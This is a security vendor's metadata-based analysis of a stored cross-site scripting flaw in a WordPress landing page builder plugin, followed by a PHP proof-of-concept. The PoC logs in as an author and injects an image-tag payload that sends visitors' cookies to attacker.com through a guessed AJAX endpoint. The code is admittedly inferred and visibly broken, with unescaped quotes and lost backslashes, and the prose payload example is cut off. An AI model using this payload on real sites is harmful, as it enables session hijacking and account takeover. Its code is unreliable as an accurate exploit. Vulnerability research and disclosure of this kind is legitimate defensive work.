Atomic Edge analysis of CVE-2026-24620 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Landing Page Builder WordPress plugin (slug: page-builder-add) up to version 1.5.3.4. The vulnerability allows attackers with at least author-level privileges to inject malicious scripts into pages, which execute when a victim views the compromised page. The CVSS 3.1 score of 6.4 (Medium) reflects the attack’s network accessibility, low complexity, and requirement for low-level privileges, with scope changed and impacts on confidentiality and integrity.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping (CWE-79) on user-supplied data processed by the plugin’s page builder component. The vulnerability description confirms a lack of proper neutralization. Without a code diff, it is inferred that the plugin likely fails to apply WordPress `sanitize_text_field`, `wp_kses_post`, or similar sanitization functions to user input before storing it in the database. It also likely fails to use proper escaping functions like `esc_html` or `esc_attr` when outputting this data in the frontend or admin context.
Exploitation requires an attacker to possess an author-level WordPress account. The attacker would likely navigate to the plugin’s page builder interface, either in the post/page editor or a dedicated builder area. They would inject a malicious JavaScript payload into a field the builder uses, such as a text, HTML, or custom code module. A realistic payload could be `
` or a script tag loading external resources. Upon saving or updating the page, the payload is stored in the database. The script executes in the browsers of any user who subsequently visits the affected page.
Remediation requires implementing proper input validation and output escaping. The plugin developers must sanitize all user input on the server-side using WordPress core functions like `sanitize_text_field` or `wp_kses` with appropriate allowed HTML rules before storing data. Additionally, they must escape all dynamic output on the client-side using functions like `esc_html`, `esc_attr`, or `wp_kses_post`, depending on the context. A patch would involve adding these sanitization and escaping calls to the relevant functions handling page builder content storage and rendering.
The impact of successful exploitation includes session hijacking, unauthorized actions on behalf of victims, defacement, and data theft. An author-level attacker can inject scripts that steal the session cookies of administrators or other users viewing the page, potentially leading to full site compromise. The injected scripts can also redirect users to malicious sites, perform actions via the WordPress REST API or AJAX, or modify page content dynamically for phishing campaigns.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24620 - Landing Page Builder <= 1.5.3.4 - Authenticated (Author+) Stored Cross-Site Scripting
<?php
/*
* Proof of Concept for CVE-2026-24620.
* This script simulates an authenticated author-level attacker injecting a stored XSS payload
* into a page created/edited via the Landing Page Builder plugin.
* ASSUMPTIONS (based on metadata):
* 1. The plugin uses standard WordPress AJAX or POST handlers for saving page builder data.
* 2. A common attack vector is the 'save' or 'update' action for page content.
* 3. The vulnerable parameter is likely named 'content', 'data', or similar.
* 4. The endpoint is likely /wp-admin/admin-ajax.php or the standard post editor.
* This PoC targets a hypothetical AJAX endpoint inferred from the plugin slug.
*/
$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'author_user'; // CHANGE THIS - Author-level credentials
$password = 'author_pass'; // CHANGE THIS
$page_id = 123; // CHANGE THIS - ID of a page the author can edit
// Payload to inject. This is a simple cookie theft script.
$payload = '<img src=x onerror="var i=new Image();i.src='http://attacker.com/steal.php?c='+encodeURIComponent(document.cookie);" />';
// Step 1: Authenticate to WordPress and obtain session cookies and a nonce.
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Attempt to fetch a nonce from the page editor. This is plugin-specific and inferred.
// Many page builders expose a nonce via localized scripts. We attempt to extract a generic one.
$edit_page_url = $target_url . '/wp-admin/post.php?post=' . $page_id . '&action=edit';
curl_setopt($ch, CURLOPT_URL, $edit_page_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$edit_page = curl_exec($ch);
// Look for a common nonce variable pattern. This is a best-effort guess.
$nonce = '';
preg_match('/"nonce"s*:s*"([a-f0-9]+)"/', $edit_page, $matches);
if (!empty($matches[1])) {
$nonce = $matches[1];
} else {
// Fallback: assume the plugin uses a standard WordPress AJAX nonce named '_ajax_nonce'.
$nonce = wp_create_nonce('some_action'); // This would require WordPress environment; placeholder.
echo "Warning: Could not extract nonce. Exploit may fail.n";
}
// Step 3: Inject the payload via a hypothetical plugin AJAX endpoint.
// Inferred endpoint: /wp-admin/admin-ajax.php with action related to plugin slug.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
'action' => 'page_builder_add_save', // Inferred from plugin slug 'page-builder-add'
'post_id' => $page_id,
'content' => $payload, // Injected payload
'nonce' => $nonce // Nonce for the action
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
$ajax_response = curl_exec($ch);
// Step 4: Verify if the payload was accepted.
if (strpos($ajax_response, 'success') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
echo "Payload likely injected successfully.n";
echo "Visit the page at: " . $target_url . '/?p=' . $page_id . " to trigger the XSS.n";
} else {
echo "Injection may have failed. Response: " . $ajax_response . "n";
}
curl_close($ch);
?>